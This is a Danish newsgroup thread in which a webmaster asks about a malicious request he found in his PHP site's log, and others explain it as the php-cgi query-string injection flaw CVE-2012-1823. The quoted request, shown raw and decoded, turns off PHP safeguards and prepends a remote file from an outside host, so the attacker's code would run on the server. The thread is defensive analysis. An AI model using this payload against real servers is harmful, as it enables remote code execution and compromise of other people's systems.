Ondsindet request

0 views
Skip to first unread message

Bertel Lund Hansen

unread,
Apr 14, 2020, 4:00:56 PM4/14/20
to
Jeg er ved at lege med lidt statistik på Fidusos sider, og i den
forbindelse aflæste jeg bl.a. $_SERVER['REQUEST_URI']. Jeg skrev
de fundne data til en tekstfil som jeg så vil bearbejde med et
statistikprogram.

I datafilen forekom så følgende request:
/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp://tenderplus.spb.ru//components/com_foxcontact/default.txt
Hvis du ikke gider læse den hele, kan jeg afsløre at dette domæne
optræderderi: tenderplus.spb.ru

Nu er Fidusos indgangsside lavet således:

$code='index';
$order=$_GET['page'];
if (isset($sider[$order]))
$code=$order;

Jeg er nogenlunde sikker på at det garanterer at den slags angreb
ikke kan få succes, men jeg vil gerne lige jhave det bekræftet.
Er det ikke korrekt?

$sider er en variabel der hentes fra en inc-fil hvis start ses
her :

$sider = Array (
'index' => 'Forside',
'skraekeksempler' => 'Skrækeksempler',
'splittet' => 'Splittede ord',
osv.

Er det ikke korrekt at det er GET-konstruktionen der har fået dem
til at forsøge et angreb?

--
/Bertel

Arne Vajhøj

unread,
Apr 14, 2020, 4:19:47 PM4/14/20
to
Det der er vist ikke tiltænkt $_GET men snarere tiltænkt en
primitiv CGI wrapper omkring PHP.

Hvis serveren forsøger at køre PHP som:

php <URL as is>

og hvis der var et mellemrum ekstra så ville det der blive til:

php /index.php? -dsafe_mode=Off -ddisable_functions=NULL
-dallow_url_fopen=On -dallow_url_include=On
-dauto_prepend_file=http://tenderplus.spb.ru//components/com_foxcontact/default.txt

hvilket ville få PHP til at gøre visse ting som du ikke ville
være glad for.

Jeg har svært ved at forestille mig så hullet et PHP setup, men
nogle skumle typer må jo tro at det findes nogen steder.

Arne




Bertel Lund Hansen

unread,
Apr 15, 2020, 3:13:03 AM4/15/20
to
Arne Vajhøj skrev:

> Hvis serveren forsøger at køre PHP som:

> php <URL as is>

> hvilket ville få PHP til at gøre visse ting som du ikke ville
> være glad for.
>
> Jeg har svært ved at forestille mig så hullet et PHP setup, men
> nogle skumle typer må jo tro at det findes nogen steder.

Jeg har fuld tiltro til at Gigahost driver en fornuftig service.
Det har jeg oplevet når nogle af mine PHP-filer for år tilbage
holdt op med at virke. De havde lukket nogle sikkerhedshuller,
bl.a. include fra andre domæner. Det var det der gav mig
problemer.

Men har jeg ret i at mit script vil forhindre den slags angreb,
eller bliver de aktiveret før mit script overtager styringen?

--
/Bertel

Martin Larsen

unread,
Apr 15, 2020, 4:16:47 AM4/15/20
to
On 15/04/2020 09.13, Bertel Lund Hansen wrote:

> Men har jeg ret i at mit script vil forhindre den slags angreb,
> eller bliver de aktiveret før mit script overtager styringen?

Hvis ellers server var sat op så ufatteligt dårligt at forsøget ville
nytte noget, ville det muligvis blive aktiveret før du overtager styringen.

I øvrigt, hvis en parameter er numerisk, er det altid en god ide med
intval() eller tilsvarende, fx: $order=intval($_GET['page'])


--
tv4ever.dk
bedrevejr.dk

Jan Hansen

unread,
Apr 15, 2020, 8:19:07 AM4/15/20
to
Bertel Lund Hansen skrev:

> Jeg er ved at lege med lidt statistik på Fidusos sider, og i den
> forbindelse aflæste jeg bl.a. $_SERVER['REQUEST_URI']. Jeg skrev
> de fundne data til en tekstfil som jeg så vil bearbejde med et
> statistikprogram.
>
> I datafilen forekom så følgende request:
> /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp://tenderplus.spb.ru//components/com_foxcontact/default.txt

Hvis du bruger php 5.4.3 eller nyere på det domæne, sker der ikke
noget ved det. Fra <https://www.cvedetails.com/cve/CVE-2012-1823>:
"sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2,
when configured as a CGI script (aka php-cgi), does not properly
handle query strings that lack an = (equals sign) character, which
allows remote attackers to execute arbitrary code by placing
command-line options in the query string, related to lack of
skipping a certain php_getopt for the 'd' case. ".



--
mvh Jan.
Help Microsoft stamp out piracy. Give
Linux to a friend today!

Arne Vajhøj

unread,
Apr 15, 2020, 8:30:46 AM4/15/20
to
Alt det interessante sker inden PHP begynder at udføre din
kode.

Og din kode kigger jo kun på page parameter og er der ingen
page parameter i URL, så er der jo ingenting for din kode.

Arne


Bertel Lund Hansen

unread,
Apr 15, 2020, 10:39:02 AM4/15/20
to
Jan Hansen skrev:

> Hvis du bruger php 5.4.3 eller nyere på det domæne, sker der ikke
> noget ved det.

Okay. Jeg bruger version 7.2.

--
/Bertel

Bertel Lund Hansen

unread,
Apr 15, 2020, 10:41:56 AM4/15/20
to
Arne Vajhøj skrev:

> Og din kode kigger jo kun på page parameter og er der ingen
> page parameter i URL, så er der jo ingenting for din kode.

Det har jeg taget højde for. Hvis $_GET['page'] ikke er sat,
vises forsiden.

--
/Bertel

Bertel Lund Hansen

unread,
Apr 15, 2020, 10:43:26 AM4/15/20
to
Bertel Lund Hansen skrev:

> Det har jeg taget højde for. Hvis $_GET['page'] ikke er sat,
> vises forsiden.

Om igen: Hvis $_GET['page'] ikke matcher et element i listen over
mulige sider, så vises forsiden.

--
/Bertel
Reply all
Reply to author
Forward
0 new messages